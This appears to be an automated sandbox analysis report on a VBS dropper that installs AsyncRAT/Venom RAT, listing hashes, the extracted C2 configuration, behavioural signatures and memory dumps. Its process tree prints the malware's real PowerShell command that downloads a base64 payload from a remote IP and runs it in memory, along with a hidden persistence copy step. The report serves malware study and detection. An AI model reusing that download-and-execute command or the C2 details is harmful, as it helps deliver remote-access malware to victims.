asyncrat | ace37f42d21bf2768add3a41954c1b5d41f85966af20de4483498c14ac4d8a7b

Analysis

max time kernel
594s
max time network
597s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
14-10-2022 19:13

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General

Target

QKWERBD01BSNAS_002_PDF.vbs
Size

442KB
MD5

ef69b45b2a116ed60277d731e42c2f0e
SHA1

0f1b9734dd43a034c56360e603659568ab65f91d
SHA256

ace37f42d21bf2768add3a41954c1b5d41f85966af20de4483498c14ac4d8a7b
SHA512

c2d037d408ed9a199a15ae960b53c112e2887571e87325794cf49a6f8c15af18bba380544b565d7e0f96dd68c9cda8fc416c50d595640086c1e8f31c62ac7e10
SSDEEP

768:De0E0B0S0Y0V0w0B0V0/i0j0+050kfF0NF0B0Z/0pP40E0X070M0Ao0I0gAOAqAn:7aW1AP4lgK

Score

10^/10

asyncrat venom clients rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Extracted

Family

asyncrat

Version

Venom RAT 5.0.5

Botnet

Venom Clients

hugh69021.duckdns.org:7555

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/5040-155-0x0000000000400000-0x0000000000416000-memory.dmp	asyncrat
behavioral2/memory/5040-156-0x00000000004109EE-mapping.dmp	asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
1	2640	powershell.exe
3	2640	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2640 set thread context of 5040	2640	powershell.exe	70

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	5040	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 2640	2196	WScript.exe	66
PID 2196 wrote to memory of 2640	2196	WScript.exe	66
PID 2640 wrote to memory of 4888	2640	powershell.exe	68
PID 2640 wrote to memory of 4888	2640	powershell.exe	68
PID 2640 wrote to memory of 5040	2640	powershell.exe	70
PID 2640 wrote to memory of 5040	2640	powershell.exe	70
PID 2640 wrote to memory of 5040	2640	powershell.exe	70
PID 2640 wrote to memory of 5040	2640	powershell.exe	70
PID 2640 wrote to memory of 5040	2640	powershell.exe	70
PID 2640 wrote to memory of 5040	2640	powershell.exe	70
PID 2640 wrote to memory of 5040	2640	powershell.exe	70
PID 2640 wrote to memory of 5040	2640	powershell.exe	70

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QKWERBD01BSNAS_002_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('2fc2e069481e-e589-8744-a310-1ce6957b=nekot&aidem=tla?txt.dsderpsO/o/moc.topsppa.swdldk/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4888
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f6c90ab0db80c6c3ea92556fda7273c7

SHA1
01d3866b1887cbb0abe9701f6b49c5dbc66a7dfa

SHA256
a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269

SHA512
aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f22ef27b8df15a4a683f1e37af74e3f8

SHA1
bcd6bda432c109e199b1a0acba4da56c794509c1

SHA256
6328dc368d16e4e20cd9d0859f55efb6af79a222a3e1ac53acd250e48ca75823

SHA512
f02948f0692f08d3f684b665b1f470f26009cb7199520d96191ce79c8b5b0bd878d1a1e4e9ee0f0b8641893717f20d0e3fd5d8fb1695e1ed7af959cdc5491a3c

Download Submit
memory/2640-125-0x00000193BAFA0000-0x00000193BAFC2000-memory.dmp

Filesize
136KB

Download
memory/2640-128-0x00000193BB520000-0x00000193BB596000-memory.dmp

Filesize
472KB

Download
memory/2640-135-0x00000193BB000000-0x00000193BB00C000-memory.dmp

Filesize
48KB

Download
memory/2640-154-0x00000193BBAE0000-0x00000193BBAE8000-memory.dmp

Filesize
32KB

Download
memory/5040-155-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/5040-160-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-161-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-163-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-162-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-164-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-165-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-166-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-167-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-168-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-169-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-170-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-171-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-172-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-173-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-174-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-175-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-176-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-177-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-178-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-179-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-180-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-181-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-182-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-183-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-184-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-185-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-186-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-187-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-188-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-189-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-190-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-191-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-192-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-193-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-194-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-195-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-196-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-197-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-198-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-199-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-200-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-201-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-202-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-203-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-204-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-205-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-206-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-207-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-208-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-209-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-210-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-211-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-212-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-213-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-214-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-215-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-216-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-217-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-218-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-219-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-220-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-221-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download
memory/5040-222-0x0000000077D40000-0x0000000077ECE000-memory.dmp

Filesize
1.6MB

Download